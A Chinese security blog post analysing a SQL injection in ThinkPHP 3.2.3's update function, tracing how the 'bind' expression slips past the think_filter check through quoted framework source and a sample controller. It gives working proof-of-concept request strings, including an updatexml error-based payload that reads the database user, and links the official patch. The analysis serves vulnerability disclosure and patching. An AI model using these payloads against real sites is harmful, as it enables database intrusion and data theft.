?

May 19 2018

Thinkphp3.2.3最新版update注入漏洞

首頁 » 代碼審計 » Thinkphp3.2.3最新版update注入漏洞   

Thinkphp3.2.3最新版update注入漏洞

t01c5f7fda3eaf1fa33.jpg


作者 :0r3ak@0kee Team

 

簡要描述

thinkphp是國內著名的php開發框架,有完善的開發文檔,基于MVC架構,其中Thinkphp3.2.3是目前使用最廣泛的thinkphp版本,雖然已經停止新功能的開發,但是普及度高于新出的thinkphp5系列,由于框架實現安全數據庫過程中在update更新數據的過程中存在SQL語句的拼接,并且當傳入數組未過濾時導致出現了SQL注入。



Git補丁更新

1.jpg



新增加了BIND表達式

 

漏洞詳情

這個問題很早之前就注意到了,只是一直沒找到更常規的寫法去導致注入的產生,在挖掘框架漏洞的標準是在使用官方的標準開發方式的前提下也會產生可以用的漏洞,這樣才算框架級漏洞,跟普通的業務代碼漏洞是有嚴格界線的。

thinkphp系列框架過濾表達式注入多半采用I函數去調用think_filter



function think_filter(&$value){
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))



有沒有相關tips來達到I函數繞過呢?是可以的。

http://document.thinkphp.cn/manual_3_2.html#update_data

一般按照官方的寫法,thinkphp提供了數據庫鏈式操作,其中包含連貫操作和curd操作,在進行數據庫CURD操作去更新數據的時候:
舉例update數據操作。

2.jpg


where制定主鍵的數值,save方法去更新變量傳進來的參數到數據庫的指定位置。


public function where($where,$parse=null){
        if(!is_null($parse) && is_string($where)) {
            if(!is_array($parse)) {
                $parse = func_get_args();
                array_shift($parse);
            }
            $parse = array_map(array($this->db,'escapeString'),$parse);
            $where =   vsprintf($where,$parse);
        }elseif(is_object($where)){
            $where  =   get_object_vars($where);
        }
        if(is_string($where) && '' != $where){
            $map    =   array();
            $map['_string']   =   $where;
            $where  =   $map;
        }        
        if(isset($this->options['where'])){
            $this->options['where'] =   array_merge($this->options['where'],$where);
        }else{
            $this->options['where'] =   $where;
        }

        return $this;
    }




通過where方法獲取where()鏈式中進來的參數值,并對參數進行檢查,是否為字符串,tp框架默認是對字符串進行過濾的


public function save($data='',$options=array()) {
        if(empty($data)) {
            // 沒有傳遞數據,獲取當前數據對象的值
            if(!empty($this->data)) {
                $data           =   $this->data;
                // 重置數據
                $this->data     =   array();
            }else{
                $this->error    =   L('_DATA_TYPE_INVALID_');
                return false;
            }
        }
        // 數據處理
        $data       =   $this->_facade($data);
        if(empty($data)){
            // 沒有數據則不執行
            $this->error    =   L('_DATA_TYPE_INVALID_');
            return false;
        }
        // 分析表達式
        $options    =   $this->_parseOptions($options);
        $pk         =   $this->getPk();
        if(!isset($options['where']) ) {
            // 如果存在主鍵數據 則自動作為更新條件
            if (is_string($pk) && isset($data[$pk])) {
                $where[$pk]     =   $data[$pk];
                unset($data[$pk]);
            } elseif (is_array($pk)) {
                // 增加復合主鍵支持
                foreach ($pk as $field) {
                    if(isset($data[$field])) {
                        $where[$field]      =   $data[$field];
                    } else {
                           // 如果缺少復合主鍵數據則不執行
                        $this->error        =   L('_OPERATION_WRONG_');
                        return false;
                    }
                    unset($data[$field]);
                }
            }
            if(!isset($where)){
                // 如果沒有任何更新條件則不執行
                $this->error        =   L('_OPERATION_WRONG_');
                return false;
            }else{
                $options['where']   =   $where;
            }
        }

        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue    =   $options['where'][$pk];
        }
        if(false === $this->_before_update($data,$options)) {
            return false;
        }
        $result     =   $this->db->update($data,$options);
        if(false !== $result && is_numeric($result)) {
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_update($data,$options);
        }
        return $result;
    }

再來到save方法,通過前面的數據處理解析服務端數據庫中的數據字段信息,字段數據類型,再到_parseOptions表達式分析,獲取到表名,數據表別名,記錄操作的模型名稱,再去調用回調函數進入update

我們這里先直接看框架的where子單元函數,之前網上公開的exp表達式注入就是從這里分析出來的結論:

Thinkphp/Library/Think/Db/Driver.class.php



// where子單元分析
    protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                $exp    =    strtolower($val[0]);
                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比較運算
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                    if(is_array($val[1])) {
                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                        if(in_array($likeLogic,array('AND','OR','XOR'))){
                            $like       =   array();
                            foreach ($val[1] as $item){
                                $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                            }
                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                        }
                    }else{
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                    }
                }elseif('bind' == $exp ){ // 使用表達式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表達式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 運算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
                        $zone      =   implode(',',$this->parseValue($val[1]));
                        $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                    }
                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN運算
                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                    $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
                }else{
                    E(L('_EXPRESS_ERROR_').':'.$val[0]);
                }
            }else {
                $count = count($val);
                $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
                if(in_array($rule,array('AND','OR','XOR'))) {
                    $count  = $count -1;
                }else{
                    $rule   = 'AND';
                }
                for($i=0;$i<$count;$i++) {
                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                    if('exp'==strtolower($val[$i][0])) {
                        $whereStr .= $key.' '.$data.' '.$rule.' ';
                    }else{
                        $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                    }
                }
                $whereStr = '( '.substr($whereStr,0,-4).' )';
            }
        }else {
            //對字符串類型字段采用模糊匹配
            $likeFields   =   $this->config['db_like_fields'];
            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
            }else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;
    }  

其中除了exp能利用外還有一處bind,而bind可以完美避開了think_filter:


elseif('bind' == $exp ){ // 使用表達式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表達式
                    $whereStr .= $key.' '.$val[1];
這里由于拼接了$val參數的形式造成了注入,但是這里的bind表達式會引入:符號參數綁定的形式去拼接數據,通過白盒對幾處CURD操作函數進行分析定位到update函數,insert函數會造成sql注入,于是回到上面的updateh函數。
Thinkphp/Library/Think/Db/Driver.class.php



/**
     * 更新記錄
     * @access public
     * @param mixed $data 數據
     * @param array $options 表達式
     * @return false | integer
     */
    public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  單表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

跟進execute函數:

public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }



這里有處對$this->queryStr進行字符替換的操作:  


$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));



具體是什么,我這里寫了一個實例:

常規的跟新數據庫用戶信息的操作:

Application/Home/Controller/UserController.class.php


<?php

namespace HomeController;
use ThinkController;

class UserController extends Controller {

    public function index(){

        $User = M("member");
        $user['id'] = I('id');
        $data['money'] = I('money');
        $data['user'] = I('user');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }
}

根據進來的id更新用戶的名字和錢,構造一個簡單一個poc

id[]=bind&id[]=1’&money[]=1123&user=liao 當走到execute函數時sql語句為:

UPDATE `member` SET `user`=:0 WHERE `id` = :1'

然后$that = $this
3.jpg


然后下面的替換操作是將”:0”替換為外部傳進來的字符串,這里就可控了。
4.jpg


替換后:
5.jpg

明顯發現之前的user參數為:0然后被替換為了liao,這樣就把:替換掉了。
后面的:1明顯是替換不掉的:
6.jpg

那么我們將id[1]數組的參數變為0呢?

id[]=bind&id[]=0%27&money[]=1123&user=liao

7.jpg

果然造成了注入:

POC:

money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))


8.jpg

修復方式

更新最新補丁

補丁地址:https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4



如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: thinkphp漏洞 thinkphp滲透

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «ThinkPHP 框架SQL注入技術分析 | 利用SESSION登錄后臺»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖